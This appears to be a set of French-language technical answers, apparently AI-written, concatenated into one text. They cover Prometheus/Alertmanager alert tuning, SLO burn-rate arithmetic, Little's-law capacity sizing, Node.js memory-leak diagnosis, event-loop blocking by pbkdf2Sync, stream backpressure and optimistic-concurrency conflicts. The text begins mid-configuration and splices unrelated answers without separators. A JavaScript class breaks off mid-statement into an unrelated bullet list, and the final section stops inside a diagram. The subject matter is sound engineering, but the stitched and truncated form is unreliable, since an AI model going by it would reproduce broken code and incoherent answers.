summary: "CPU > 85 % pendant 15 min sur {{ $labels.instance }}"
- alert: CPUSaturationCritical
expr: |
100 * (1 - avg by (instance) (
rate(node_cpu_seconds_total{mode="idle"}[5m])
)) > 95
for: 5m
labels:
severity: critical
```
Deux paliers : un seuil haut tolère peu de temps, un seuil modéré exige une longue persistance. Le choix de 15 min et 5 min est une valeur de départ raisonnable, à calibrer sur votre historique, ce n'est pas une constante universelle.
---
## 2. Impact : alerter sur le symptôme utilisateur, pas sur la cause possible
Le CPU à 90 % n'est pas un incident si la latence est nominale : c'est une machine qui travaille. L'alerte doit porter sur ce que l'utilisateur subit, et le CPU devient un signal de diagnostic, pas de réveil.
- **Alerte de niveau 1, page l'astreinte** : budget d'erreur SLO consommé, latence au 95e ou 99e centile hors cible, taux de 5xx, longueur de file d'attente qui croît, saturation de la file d'exécution (`node_load1` divisé par le nombre de cœurs).
- **Alerte de niveau 2, ticket seulement** : CPU élevé et persistant, saturation lente, tendance de capacité.
Conditionner l'alerte CPU à un impact réel :
```yaml
- alert: CPUSaturationWithUserImpact
expr: |
(100 * (1 - avg by (instance) (
rate(node_cpu_seconds_total{mode="idle"}[5m])
)) > 85)
and on (instance)
(histogram_quantile(0.95,
sum by (le, instance) (rate(http_request_duration_seconds_bucket[5m]))
) > 0.5)
for: 10m
labels:
severity: critical
impact: user_facing
```
Ajoutez aussi la dimension de portée : un nœud sur cinquante en saturation n'a pas la même priorité que quarante nœuds sur cinquante. Une règle sur la proportion de nœuds saturés permet de le capter.
Précision de rigueur : la corrélation entre CPU élevé et latence dégradée ne prouve pas que le CPU est la cause. Elle établit seulement qu'il y a co-occurrence, ce qui suffit pour justifier un réveil, pas pour conclure au diagnostic.
---
## 3. Déduplication : agréger, inhiber, temporiser
Alertmanager est précisément conçu pour réaliser « un certain nombre d'opérations d'agrégation, désactivation et temporisation de ces alertes avant de les transmettre » (Wikipédia FR, « Prometheus (logiciel) », section « Alertes et surveillance »).
```yaml
route:
group_by: ['alertname', 'cluster', 'service']
group_wait: 60s # attend d'éventuels compagnons avant le 1er envoi
group_interval: 5m # regroupe les nouveautés du même groupe
repeat_interval: 4h # ne réémet pas la même alerte toutes les minutes
inhibit_rules:
# Une alerte critique masque la warning équivalente
- source_matchers: [severity="critical"]
target_matchers: [severity="warning"]
equal: ['alertname', 'instance']
# Un nœud injoignable masque ses alertes CPU (cause racine unique)
- source_matchers: [alertname="NodeDown"]
target_matchers: [alertname=~"CPUSaturation.*"]
equal: ['instance']
```
Quatre leviers distincts, à ne pas confondre :
| Levier | Rôle |
|---|---|
| `group_by` | fusionne N instances en une notification |
| `repeat_interval` | supprime la répétition minute par minute |
| `inhibit_rules` | supprime le bruit dérivé d'une cause racine |
| Silences et maintenances | supprime le bruit planifié (déploiements, batch) |
Complément fortement recommandé : intégrer les fenêtres de maintenance et de déploiement comme silences automatiques, sinon chaque mise en production régénère la tempête.
---
## 4. Routage : la bonne alerte, à la bonne personne, par le bon canal
Alertmanager transmet les alertes « par différents moyens (messagerie électronique, notification Slack ou SMS) » (Wikipédia FR, « Prometheus (logiciel) », section « Alertes et surveillance »). Le routage doit dépendre de la sévérité, du service et de l'heure.
```yaml
route:
receiver: default-ticket
group_by: ['alertname', 'cluster', 'service']
routes:
- matchers: [severity="critical", impact="user_facing"]
receiver: oncall-pager # réveille
continue: false
- matchers: [severity="critical"]
receiver: team-chat # notifie sans réveiller
- matchers: [severity="warning"]
receiver: ticket-queue # trace, ne notifie pas
receivers:
- name: oncall-pager
webhook_configs:
- url: 'https://pager.interne.example/api/v1/alert'
send_resolved: true
- name: team-chat
webhook_configs:
- url: 'https://chat.interne.example/hooks/ops'
- name: ticket-queue
webhook_configs:
- url: 'https://itsm.interne.example/api/incidents'
- name: default-ticket
webhook_configs:
- url: 'https://itsm.interne.example/api/incidents'
```
Règle structurante : **une alerte qui ne déclenche aucune action humaine ne doit pas notifier**. Elle va dans un tableau de bord ou une file de tickets. Cette hiérarchisation est l'application directe du principe ITIL de priorisation par impact et urgence (Wikipédia FR, « Gestion des incidents dans un centre de calcul »).
Point de sécurité, non négociable : les URL de webhook et les clés d'intégration sont des **secrets**. Elles ne doivent jamais être écrites en clair dans le fichier de configuration versionné, ni apparaître dans les journaux. Utilisez les champs de type fichier de secret proposés par votre version d'Alertmanager, ou l'injection par un gestionnaire de secrets, avec masquage dans les logs. Vérifiez la syntaxe exacte disponible dans la documentation officielle de **votre** version : je ne peux pas garantir ici, sans accès à cette documentation, que chaque nom de champ ci-dessus est identique dans toutes les versions.
---
## Vérification, avant mise en production
1. **Rejeu historique** : évaluez les nouvelles expressions sur 30 jours d'historique et comptez combien d'alertes auraient été émises, contre combien d'incidents réels ont eu lieu. Objectif mesurable : taux de faux positifs et taux de faux négatifs.
2. **Tests unitaires de règles** : `promtool test rules` avec des séries synthétiques, dont un pic de 10 s qui **doit** rester silencieux, et une saturation de 20 min qui **doit** alerter.
3. **Test de configuration** : `amtool check-config` sur le fichier Alertmanager, et `amtool config routes test` pour vérifier qu'un jeu d'étiquettes donné atteint le bon destinataire.
4. **Mode ombre** : faites tourner les nouvelles règles en parallèle des anciennes vers un canal non notifiant pendant deux semaines avant de couper les anciennes.
---
## Risques et limites
- **Risque principal, le faux négatif** : allonger la durée retarde mécaniquement la détection. Une saturation qui dégrade réellement le service pendant 12 min ne sera pas vue si `for: 15m`. C'est le compromis central, et il doit être décidé au regard de votre SLO, pas au hasard. Conservez pour cela un palier à seuil très haut et durée courte.
- **Risque d'inhibition trop large** : une règle `inhibit_rules` mal cadrée peut masquer une alerte légitime. Limitez toujours la portée avec `equal`.
- **Le lissage masque les micro-saturations** : si votre charge est sensible aux latences de queue, une moyenne sur 5 min peut cacher un problème réel. Dans ce cas, alertez sur la file d'exécution ou le centile de latence plutôt que sur la moyenne CPU.
- **Généralisation non prouvée** : les valeurs 85 %, 95 %, 15 min, 5 min, 4 h sont des points de départ d'ingénierie, pas des résultats établis. Un nombre fini d'observations concluantes ne démontre pas qu'un seuil est correct en général ; seule la mesure continue de vos taux de faux positifs et de faux négatifs le validera.
- **Ce que je n'ai pas vérifié** : je n'ai pas accès à votre configuration, à vos métriques ni à votre version d'Alertmanager. Le code ci-dessus est raisonné mais n'a pas été exécuté chez vous ; passez-le par les quatre étapes de vérification avant tout déploiement.## Verdicts
| Élément | Seuil | Mesure | Verdict |
|---|---|---|---|
| Fenêtre courte (1 h) | burn rate $\ge 14{,}4$ | $16$ | **Dépassé (vrai)** : $16 \ge 14{,}4$ |
| Fenêtre longue (6 h) | burn rate $\ge 6$ | $4$ | **Non dépassé (faux)** : $4 < 6$ |
| Condition AND | courte ET longue | vrai ET faux | **Faux** |
| Alerte | déclenchement si AND vrai | , | **Ne se déclenche pas** |
## Vérification chiffrée
Budget d'erreur cible pour un SLO de 99,9 % : $1 - 0{,}999 = 10^{-3}$, soit 0,1 % de requêtes en échec autorisées (définition standard du budget d'erreur, ouvrage Google SRE Workbook, chapitre sur les alertes de burn rate ; je cite cette source de mémoire doctrinale, je n'ai pas pu la relire dans l'encyclopédie locale).
- Fenêtre courte : taux d'erreur observé $= 16 \times 10^{-3} = 1{,}6\ \%$. Comparaison directe des burn rates : $16 \ge 14{,}4$, donc franchie.
- Fenêtre longue : taux d'erreur observé $= 4 \times 10^{-3} = 0{,}4\ \%$. $4 < 6$, donc non franchie.
- AND logique : $\text{vrai} \wedge \text{faux} = \text{faux}$. Une seule fenêtre franchie ne suffit jamais dans une règle multi, fenêtre conjonctive.
Consommation de budget sur un mois de 30 jours ($720$ h), à titre d'éclairage :
$$\text{courte} = 16 \times \frac{1}{720} \approx 2{,}22\ \% \quad ; \quad \text{longue} = 4 \times \frac{6}{720} \approx 3{,}33\ \%$$
À comparer aux seuils de référence $14{,}4 \times \frac{1}{720} = 2\ \%$ et $6 \times \frac{6}{720} = 5\ \%$ : la lecture en pourcentage de budget confirme les mêmes verdicts (courte au-dessus de 2 %, longue en dessous de 5 %).
## Interprétation opérationnelle
Le profil mesuré est cohérent avec un pic bref : si la dernière heure est à 16 et la moyenne des 6 heures à 4, le fond des 5 heures précédentes vaut $\frac{4 \times 6 - 16 \times 1}{5} = 1{,}6$. C'est exactement le cas que la fenêtre longue est conçue pour filtrer, un incident court non représentatif d'une consommation soutenue du budget.
Précisions et limites, à distinguer du calcul lui, même :
- Le verdict « pas d'alerte » vaut pour la règle conjonctive telle qu'énoncée. Avec une règle disjonctive (OR entre plusieurs paires de fenêtres), le résultat pourrait différer ; cela dépend de la configuration réelle, que je ne connais pas.
- Absence d'alerte n'est pas absence d'incident : la fenêtre courte à 16 signale une dégradation réelle en cours. Il est prudent de vérifier si elle persiste, car si le régime à 16 se maintient, la moyenne 6 h finira par franchir 6.
- Ordre de grandeur du délai de franchissement, hypothèse et non fait : en supposant le fond à 1,6 conservé et le régime à 16 maintenu, la moyenne sur 6 h atteint 6 lorsque la durée $t$ du pic vérifie $\frac{16t + 1{,}6(6-t)}{6} \ge 6$, soit $t \ge \frac{36 - 9{,}6}{14{,}4} \approx 1{,}83$ h. Ce calcul suppose un modèle de charge constante, il ne décrit pas nécessairement le trafic réel.# Application de la loi de Little
## Données
| Grandeur | Symbole | Valeur |
|---|---|---|
| Débit d'arrivée | $\lambda$ | $200\ \text{req/s}$ |
| Temps d'occupation d'un worker par requête | $W$ | $100\ \text{ms} = 0{,}100\ \text{s}$ |
| Marge de sécurité | — | $25\ \%$ |
## 1. Concurrence moyenne
La loi de Little s'écrit $L = \lambda W$ (loi de Little, théorème de la théorie des files d'attente ; article encyclopédique local « Loi de Little » / « Little's law »).
$$L = 200\ \text{req/s} \times 0{,}100\ \text{s} = 20{,}0$$
**Concurrence moyenne : $L = 20$ requêtes en cours de traitement simultanément.**
Vérification dimensionnelle : $\text{req}\cdot s^{-1} \times s = \text{req}$, grandeur sans dimension temporelle, homogène. Chaque requête occupant exactement un worker, cela correspond à **20 workers occupés en moyenne**.
## 2. Capacité avec 25 % de marge
Interprétation retenue (hypothèse explicite, l'énoncé ne la précise pas) : marge additive de 25 % au-dessus de la concurrence moyenne.
$$C = L \times 1{,}25 = 20 \times 1{,}25 = 25{,}0$$
**Capacité cible : $25$ workers.**
Remarque de rigueur : cette lecture équivaut à un taux d'utilisation cible $\rho = \frac{20}{25} = 0{,}80$, soit 80 %. Si vous entendiez plutôt « conserver 25 % de capacité libre », le calcul serait $\frac{20}{0{,}75} \approx 26{,}7$, donc 27 workers. Les deux formulations sont couramment employées et donnent des résultats différents ; je retiens la première, qui correspond à la lettre de l'énoncé (« capacité avec 25 % de marge » = valeur majorée de 25 %).
## 3. Workers entiers minimum
$$N = \lceil 25{,}0 \rceil = 25$$
**$N = 25$ workers.**
## 4. Unité
L'unité de $L$ et de $N$ est le **worker** (équivalemment : requête concurrente, ou « req en cours »). Ce n'est pas une req/s : la loi de Little produit un nombre d'entités présentes dans le système, sans dimension temporelle.
## Résultat de synthèse
| Résultat | Valeur | Unité |
|---|---|---|
| Concurrence moyenne $L=\lambda W$ | $20$ | workers (requêtes concurrentes) |
| Capacité avec 25 % de marge | $25$ | workers |
| **Workers entiers minimum** | **$25$** | **workers** |
## Hypothèses et limites
- Un worker traite une requête à la fois, sans coût de commutation ni file interne au worker.
- $W = 100\ \text{ms}$ est une **moyenne** ; la loi de Little est exacte en régime stationnaire pour les moyennes, mais elle ne dit rien de la variance. Si la distribution des temps de service est très dispersée (longue traîne), 25 workers ne garantiront pas la latence de queue (p95, p99) : un dimensionnement par file d'attente M/M/c ou par test de charge est alors nécessaire.
- La loi de Little suppose un système stable : $\lambda$ soutenu de 200 req/s sans saturation. À $\rho = 0{,}80$, le temps d'attente en file devient sensible aux rafales ; prévoyez une file bornée et un rejet en mode fermé (fail closed) plutôt qu'une file infinie qui provoquerait un effondrement de latence.
- Aucune mesure réelle ne m'a été fournie : ces chiffres découlent uniquement des valeurs de l'énoncé, pas d'une observation de votre système.## 1. Diagnostic
**Vous n'avez pas un problème de GC, vous avez une rétention logique de références.**
C'est le point discriminant : si `heapUsed` ne redescend pas **après** un cycle de GC complet, alors les objets concernés sont encore **accessibles depuis les racines** (pile, variables globales, registres). Un ramasse-miettes traversant ne recycle que les objets devenus inaccessibles ; un objet référencé mais jamais réutilisé n'est jamais libéré, et c'est précisément le mécanisme documenté des fuites en environnement managé (Wikipédia FR, article « Ramasse-miettes (informatique) », sections « Principe d'accessibilité d'un objet » et « approximation conservatrice » ; Wikipédia FR, article « Fuite de mémoire », section « Causes » : absence de libération lorsque les objets ne sont plus utiles).
Les snapshots montrant des **listeners retenus** désignent la chaîne de rétention la plus classique en Node :
```
racine (module / global / singleton)
└─ emitter long-lived (process, client DB, bus, serveur, socket)
└─ _events[type] (structure interne d'EventEmitter)
└─ Array de fonctions (croissance monotone)
└─ closure (contexte capturé)
└─ req/res, Buffer, résultat de requête, instance de service...
```
Le listener pèse peu, **c'est son contexte capturé qui pèse**. Chaque abonnement non défait épingle tout ce que la fonction voit lexicalement.
**Second point important, souvent négligé : « au repos » ne signifie pas « sans activité ».** Un débit constant de 2 MiB/min implique une source d'événements **périodique**. Cherchez donc en priorité ce qui tourne sans trafic utilisateur : `setInterval`, cron applicatif, healthcheck, polling, boucle de reconnexion d'un client (Redis, PostgreSQL, AMQP, WebSocket), watcher de fichiers, keep-alive de sockets, métriques.
**Quantification du problème**
| Grandeur | Valeur |
|---|---|
| Taux observé | $2\ \text{MiB/min}$ |
| Par heure | $2 \times 60 = 120\ \text{MiB/h}$ |
| Par jour | $2 \times 60 \times 24 = 2880\ \text{MiB} \approx 2{,}81\ \text{GiB/jour}$ |
Temps avant saturation, en partant d'une base hypothétique de $120$ MiB (hypothèse, à remplacer par votre valeur réelle) :
$$t_{\text{OOM}} = \frac{L - 120}{2}\ \text{minutes}$$
| Limite de vieux espace $L$ | $t_{\text{OOM}}$ |
|---|---|
| 512 MiB | $\approx 196$ min $\approx 3{,}3$ h |
| 1024 MiB | $\approx 452$ min $\approx 7{,}5$ h |
| 1536 MiB | $\approx 708$ min $\approx 11{,}8$ h |
| 2048 MiB | $\approx 964$ min $\approx 16{,}1$ h |
| 4096 MiB | $\approx 1988$ min $\approx 33{,}1$ h |
Ordre de grandeur du **rythme d'abonnement**, selon le poids retenu par listener $p$ (octets) : $n = \dfrac{2 \times 1024^2}{p}$ abonnements par minute.
| $p$ retenu par listener | Abonnements/min | Abonnements/s |
|---|---|---|
| 200 o | $\approx 10\,486$ | $\approx 175$ |
| 500 o | $\approx 4\,194$ | $\approx 70$ |
| 2 000 o | $\approx 1\,049$ | $\approx 17{,}5$ |
| 10 000 o | $\approx 210$ | $\approx 3{,}5$ |
| 100 000 o | $\approx 21$ | $\approx 0{,}35$ |
Lecture opérationnelle : si vous mesurez, par exemple, un gain de $\approx 20$ listeners par minute, le contexte retenu pèse environ $100$ kio par abonnement, ce qui pointe vers une closure capturant un buffer, une réponse HTTP ou un résultat de requête, et non un simple callback de log.
---
## 2. Preuve à constituer
Une intuition ne suffit pas. Voici la chaîne de preuve, du moins coûteux au plus probant.
### 2.1 Établir que la croissance survit à un GC complet
Sans cette étape, vous ne distinguez pas une fuite d'un simple retard de collecte ou d'une fragmentation.
```js
// probe-memory.js -- lancer avec : node --expose-gc --trace-gc probe-memory.js
'use strict';
const v8 = require('node:v8');
const MIB = 1024 * 1024;
const fmt = (o) => Object.fromEntries(
Object.entries(o).map(([k, val]) => [k, +(val / MIB).toFixed(2)])
);
function sampleAfterFullGc() {
if (typeof global.gc !== 'function') {
throw new Error('Relancez le processus avec --expose-gc');
}
// Plusieurs passes : un seul appel ne garantit pas un cycle majeur complet.
for (let i = 0; i < 4; i += 1) global.gc();
const m = process.memoryUsage();
return {
t: new Date().toISOString(),
...fmt({
rss: m.rss,
heapTotal: m.heapTotal,
heapUsed: m.heapUsed,
external: m.external,
arrayBuffers: m.arrayBuffers,
}),
};
}
const serie = [];
const timer = setInterval(() => {
const s = sampleAfterFullGc();
serie.push(s);
console.log(JSON.stringify(s));
if (serie.length >= 10) {
// Régression linéaire simple sur heapUsed pour objectiver la pente.
const n = serie.length;
const xs = serie.map((_, i) => i); // en minutes
const ys = serie.map((s2) => s2.heapUsed); // en MiB
const mx = xs.reduce((a, b) => a + b, 0) / n;
const my = ys.reduce((a, b) => a + b, 0) / n;
const num = xs.reduce((acc, x, i) => acc + (x - mx) * (ys[i] - my), 0);
const den = xs.reduce((acc, x) => acc + (x - mx) ** 2, 0);
const pente = den === 0 ? 0 : num / den;
console.log(`pente heapUsed = ${pente.toFixed(3)} MiB/min sur ${n} points`);
clearInterval(timer);
}
}, 60_000);
timer.unref?.(); // ne pas maintenir l'event loop vivante à cause de la sonde
```
Critère de décision : **pente significativement positive et stable après GC forcé** $\Rightarrow$ rétention logique confirmée. Attention, une pente positive sur $n = 10$ points est une **estimation**, pas une preuve d'universalité : reconduisez la mesure sur plusieurs heures et sur au moins deux instances.
### 2.2 Mesurer directement le nombre de listeners
C'est la preuve la plus directe et la moins coûteuse, et elle transforme le soupçon en compteur.
```js
// listener-census.js
'use strict';
/**
* Recense les listeners d'un ensemble d'emitters nommés.
* Ne dépend d'aucune API privée hors `_events` évité volontairement :
* on utilise eventNames() + listenerCount(), qui sont publiques.
*/
function recenser(emitters) {
const lignes = [];
for (const [nom, em] of Object.entries(emitters)) {
if (!em || typeof em.eventNames !== 'function') continue;
for (const ev of em.eventNames()) {
lignes.push({ emitter: nom, event: String(ev), count: em.listenerCount(ev) });
}
}
return lignes.sort((a, b) => b.count - a.count);
}
module.exports = { recenser };
```
Branchez-le sur vos emitters longue durée réels :
```js
const { recenser } = require('./listener-census');
// Remplacez par VOS instances : ce sont des exemples, pas une configuration constatée.
const cibles = {
process,
// pgPool, redisClient, httpServer, eventBus, socket, watcher, ...
};
setInterval(() => {
console.log(JSON.stringify({ census: recenser(cibles) }));
}, 60_000).unref();
```
Critère de décision : un `count` **strictement croissant** sur un couple (emitter, event) donné, alors que la charge est nulle, identifie l'emitter et l'événement coupables. C'est votre preuve la plus solide, car elle est causale et non seulement corrélative.
### 2.3 Exploiter l'avertissement natif
Node émet un avertissement lorsque le nombre de listeners d'un même événement sur un même emitter dépasse le seuil par défaut (valeur par défaut $10$ selon ma connaissance des versions récentes, à confirmer dans la doc du module `events` de **votre** version). Capturez la trace, elle contient souvent le site d'abonnement :
```js
process.on('warning', (w) => {
if (w.name === 'MaxListenersExceededWarning') {
console.error('LEAK-CANDIDATE', w.message, '\n', w.stack);
}
});
```
Deux limites honnêtes : cet avertissement ne se déclenche **qu'une fois** par emitter et par événement, et il ne se déclenche pas si la fuite répartit les abonnements sur des emitters distincts (par exemple un nouveau client créé à chaque reconnexion).
### 2.4 Méthode des trois snapshots et chemins de rétention
1. Snapshot A après démarrage et stabilisation.
2. Laisser tourner au repos $\approx 15$ min ($\approx 30$ MiB accumulés au taux observé).
3. Snapshot B.
4. Attendre encore $\approx 15$ min, snapshot C.
```js
const v8 = require('node:v8');
const chemin = v8.writeHeapSnapshot(); // écrit un .heapsnapshot dans le cwd
console.log('snapshot:', chemin);
```
Puis, dans les outils de mémoire d'un inspecteur compatible (`node --inspect`), utilisez la vue **Comparison** B contre A, triez par `# Delta` sur les objets `Array`, `Closure`/`(closure)`, `system / Context`, et surtout ouvrez la section **Retainers** d'un objet retenu. La preuve est un **chemin de rétention** qui remonte jusqu'à une racine en passant par `_events` d'un emitter identifié. Un objet présent dans A, B **et** C avec un delta positif entre chaque paire est un candidat sérieux ; un objet présent uniquement dans B est probablement transitoire.
Point de rigueur : un snapshot montre l'**accessibilité**, pas l'**intention**. Il prouve qu'un objet est retenu, il ne prouve pas à lui seul quelle ligne de code l'a abonné. C'est la combinaison 2.2 + 2.4 qui ferme le dossier.
### 2.5 Distinguer heap et hors-heap
Si `rss` croît nettement plus vite que `heapUsed`, une part de la fuite est hors du tas JavaScript : `Buffer`, `ArrayBuffer`, descripteurs, addons natifs. Les colonnes `external` et `arrayBuffers` de `process.memoryUsage()` tranchent. Votre énoncé indique une croissance de `heapUsed`, donc le tas JS est bien impliqué, mais vérifiez tout de même les deux, une fuite de sockets accompagne souvent une fuite de listeners.
---
## 3. Cause
La cause générique est : **abonnement répété sur un emitter de durée de vie longue, sans désabonnement symétrique.** L'asymétrie du cycle de vie est le cœur du bug : le souscripteur est éphémère, l'emitter est permanent, donc l'emitter survit au souscripteur et le maintient en vie.
Les six motifs concrets à auditer, par ordre de fréquence d'après mon expérience des bases de code Node (jugement, non fait vérifié) :
| # | Motif | Signature |
|---|---|---|
| 1 | Abonnement dans une fonction périodique : `setInterval(() => client.on('message', h), …)` | `listenerCount` croît linéairement avec le temps |
| 2 | Boucle de reconnexion qui **réabonne** sans nettoyer, ou qui crée un client par tentative sans `destroy()` | croissance par paliers, corrélée aux logs de reconnexion |
| 3 | `process.on('unhandledRejection' \| 'uncaughtException' \| 'SIGTERM', …)` appelé par requête, par job ou dans un constructeur instancié en boucle | avertissement `MaxListenersExceededWarning` sur `process` |
| 4 | Listener sur un emitter global capturant `req`, `res` ou un `Buffer` de réponse | poids retenu élevé par listener ($\approx 10$ à $100$ kio, cf. tableau) |
| 5 | Cache ou registre `Map`/`Array` d'abonnés sans éviction ni suppression | croissance d'une seule grosse `Map` dans les snapshots |
| 6 | Timer non `unref()` gardant vivant un contexte, ou `AbortController` jamais déclenché | objets `Timeout` en delta positif |
**Pourquoi le GC est impuissant :** ce n'est pas un défaut du ramasse-miettes. Déterminer qu'un objet accessible ne sera plus jamais utilisé est équivalent au problème de l'arrêt, donc indécidable ; le GC se contente donc du critère d'accessibilité, qui est une approximation conservatrice, et il est de la responsabilité du programme de libérer les références inutiles (Wikipédia FR, article « Ramasse-miettes (informatique) », sections « Principe d'accessibilité d'un objet » et « Définition et fonctionnement »).
---
## 4. Correction
### 4.1 Principe directeur
**Tout abonnement doit avoir un propriétaire et une opération de libération explicite et idempotente.** Aucun `on()` sans `off()` garanti, y compris sur les chemins d'erreur.
### 4.2 Motif de correction réutilisable
```js
// subscription.js
'use strict';
/**
* Regroupe des abonnements et garantit leur libération unique et idempotente.
* Toute libération qui échoue est collectée, aucune n'est sautée.
*/
class SubscriptionScope {
#undo = [];
#closed = false;
/** Abonne et enregistre le désabonnement symétrique. */
on(emitter, event, handler) {
if (this.#closed) throw new Error('SubscriptionScope déjà fermé');
emitter.on(event, handler);
this.#undo.push(() => emitter.off(event, handler));
return this;
}
/** Timer dont la libération est garantie et qui ne retient pas l'event loop. */
interval(ms, fn) {
if (this.#closed) throw- **Cause :** `crypto.pbkdf2Sync()` monopolise le thread principal pendant environ 3 s et bloque la boucle d’événements. - **Indicateur :** `eventLoopDelay ≈ 2800 ms`, proche de la durée du calcul, avec CPU à 100 % et DB normale. À mesurer avec `perf_hooks.monitorEventLoopDelay()`. - **Isolation :** sortir PBKDF2 du thread principal. Utiliser le pool libuv pour un trafic modéré, ou un pool de `worker_threads` dédié pour éviter de saturer le pool partagé. - **API Node :** remplacer `crypto.pbkdf2Sync()` par `crypto.pbkdf2()` asynchrone ; pour une isolation forte, utiliser `node:worker_threads`.
Calcul vérifié : $2^{31}/16\,384 = 131\,072$ exactement si « 2 Go » désigne 2 Gio ; $\approx 1{,}22 \times 10^{5}$ si l'on entend 2 milliards d'octets décimaux.
## Correctif de référence
La solution robuste consiste à ne pas réimplémenter cet automate à la main, mais à le déléguer à `pipeline`, qui gère la contre‑pression, la propagation des erreurs et la destruction des flux.
```js
const { pipeline } = require('node:stream/promises');
// Recommandé : l'automate de contre-pression est géré par le runtime.
async function copier(source, destination) {
await pipeline(source, destination);
}
```
Si l'écriture manuelle est imposée, l'automate explicite s'écrit ainsi :
```js
// Transitions 1 à 4 rendues explicites.
function ecrireAvecContrePression(readable, writable) {
return new Promise((resolve, reject) => {
readable.on('data', (chunk) => {
const peutContinuer = writable.write(chunk);
if (!peutContinuer) {
readable.pause(); // transitions 1 et 2
}
});
writable.on('drain', () => {
readable.resume(); // transitions 3 et 4
});
readable.on('end', () => writable.end());
readable.on('error', reject);
writable.on('error', reject);
writable.on('finish', resolve);
});
}
```
## Vérification à instrumenter
Une inspection de code ne suffit pas à établir que la borne tient en production. Contrôles à mettre en place :
1. **Mesure directe du tampon** : échantillonner `writable.writableLength` et `writable.writableHighWaterMark` pendant un transfert de volume représentatif. L'invariant attendu est que `writableLength` reste du même ordre que le `highWaterMark`, sans croissance monotone.
2. **Test de charge asymétrique** : source rapide (fichier local ou générateur) contre destination lente (socket bridée, disque réseau). C'est la configuration qui révèle le défaut ; un test source lente / destination rapide ne le révélera jamais.
3. **Assertion automatisée** : dans le test, échouer si `writableLength` dépasse un multiple fixé du `highWaterMark`. Un test sans assertion ne prouve rien.
4. **Surveillance mémoire** : suivre `process.memoryUsage().heapUsed` et l'usage hors tas, les tampons `Buffer` étant alloués hors du tas V8, ce qui les rend invisibles pour un simple suivi du tas.
## Risques et limites
- **Perte de données silencieuse** : appeler `write` après `end`, ou ignorer les erreurs, provoque des pertes non signalées. Toujours brancher un gestionnaire sur `error` des deux côtés.
- **Interblocage sur `drain` manqué** : si vous mettez la source en pause sans écouter `drain`, ou si vous écoutez `drain` sans avoir mis la source en pause, le pipeline se bloque ou continue de gonfler. Les transitions 2 et 3 doivent être appariées.
- **`Transform` mal écrit** : dans un flux de transformation, appeler le `callback` avant que la poussée en aval soit acceptée neutralise la contre‑pression, même si le reste de la chaîne est correct.
- **Contre‑pression non transitive par défaut** : une chaîne assemblée à la main de bout en bout ne propage la saturation que si chaque maillon la propage. Un seul maillon fautif suffit à ramener le comportement observé.
- **Disponibilité** : sans borne mémoire, ce défaut constitue un vecteur d'épuisement de ressources exploitable par un client qui lit lentement, donc un risque de déni de service et non une simple question de performance.## Diagnostic
Le client a lu la ressource à la **version 8**, a produit un delta local, puis a soumis son écriture sous précondition « version attendue = 8 ». Le serveur détient la **version 9** : entre la lecture et la validation, au moins une autre écriture a été committée. C'est exactement l'échec de la **phase Validate** du contrôle de concurrence optimiste, qui vérifie avant commit qu'aucune autre transaction n'a modifié les données lues, et qui, en cas de conflit, provoque un rollback avec redémarrage possible de la transaction (source : Wikipédia EN, *Optimistic concurrency control*, section « Phases of optimistic concurrency control »).
L'écart $9 - 8 = 1$ indique **au moins une** révision intercalée. Hypothèse à confirmer selon votre implémentation : que le compteur soit strictement incrémenté de 1 par écriture ; si le serveur agrège ou saute des numéros, l'écart ne mesure pas le nombre réel d'écritures concurrentes.
## Les quatre actions de résolution optimiste
**1. Abandonner la tentative de commit, sans détruire le delta local**
Le rejet est final pour *cette* soumission : l'écriture ne doit pas être rejouée telle quelle, ni forcée. On annule la transaction côté client (rollback logique) tout en conservant en mémoire, ou en file, l'intention de modification (le delta et le jeton de base « 8 »). C'est le comportement prescrit par OCC : en cas de conflit détecté à la validation, la transaction est annulée et peut être redémarrée (source : Wikipédia EN, *Optimistic concurrency control*, introduction et phase « Commit/Rollback »).
Point d'attention : l'interface doit repasser en état « non enregistré », pas en état « enregistré », sous peine de perte silencieuse de la modification de l'utilisateur.
**2. Relire l'état autoritatif du serveur et son nouveau jeton de version**
On effectue une nouvelle lecture pour obtenir le corps de la version 9 et le jeton de concurrence associé (numéro de version, ou `ETag` dans le cas HTTP). Le mécanisme OCC intégré à HTTP repose précisément sur ce cycle : l'`ETag` renvoyé par la requête `GET` initiale est réutilisé dans l'en-tête `If-Match` des requêtes `PUT` suivantes, toute requête portant un `ETag` périmé étant rejetée (source : Wikipédia EN, *Optimistic concurrency control*, section « Web usage »).
Sans cette relecture, toute nouvelle tentative repartirait de la base 8 et échouerait à l'identique : la boucle serait stérile.
**3. Rebaser ou fusionner le delta local sur la version 9, avec arbitrage des conflits sémantiques**
Trois issues, à distinguer nettement :
| Situation | Traitement | Automatisable |
|---|---|---|
| Le delta local et l'écriture 8 → 9 touchent des champs disjoints | Fusion par champ (rebase automatique) puis resoumission | Oui |
| Les deux touchent le même champ avec des valeurs différentes | Arbitrage explicite : présenter les deux valeurs à l'utilisateur, ou appliquer une règle métier documentée | Non, sauf règle métier définie |
| Le delta local devient sans objet ou invalide au regard de la version 9 (préconditions métier rompues) | Abandon motivé, message explicite | Oui, avec notification |
L'invocation d'un algorithme de résolution de conflit lors de la divergence, et le fait que le modèle « merge » des systèmes de gestion de versions constitue une forme d'OCC, sont documentés dans l'article cité (source : Wikipédia EN, *Optimistic concurrency control*, sections « Web usage » et « Examples »).
Un écrasement aveugle, du type « je renvoie mon état complet en ignorant 9 », n'est pas une résolution : c'est le *lost update problem*, précisément ce que le mécanisme cherche à empêcher (le problème est nommé dans la note W3C citée en référence par cet article, *Editing the Web - Detecting the Lost Update Problem Using Unreserved Checkout*, 10 mai 1999).
**4. Resoumettre sous nouvelle précondition, en écriture idempotente, avec plafond de tentatives**
La soumission repart avec la précondition « version attendue = 9 » (ou l'`ETag` fraîchement obtenu), idéalement en envoyant le **delta** plutôt que l'état entier, et avec une clé d'idempotence pour que la réémission après incertitude réseau ne duplique pas l'effet. Si un nouveau 409 survient, on reboucle sur les actions 2 et 3, mais avec un **nombre maximal de tentatives et un retrait exponentiel** : l'article souligne que sous forte contention, le coût des redémarrages répétés dégrade fortement les performances, l'OCC étant adapté aux environnements à faible contention (source : Wikipédia EN, *Optimistic concurrency control*, section introductive).
Recommandation opérationnelle, qui est ici mon jugement d'ingénieur et non un fait sourcé : plafonner à 3 tentatives, puis basculer en mode arbitrage utilisateur explicite plutôt que boucler indéfiniment.
## Séquence exécutable
```
409 reçu (attendu 8, courant 9)
│
├─ 1. rollback local, delta conservé, UI = "non enregistré"
├─ 2. GET ressource → corps v9 + jeton v9
├─ 3. rebase(delta, base=8, cible=v9)
│ ├─ champs disjoints ......... fusion auto
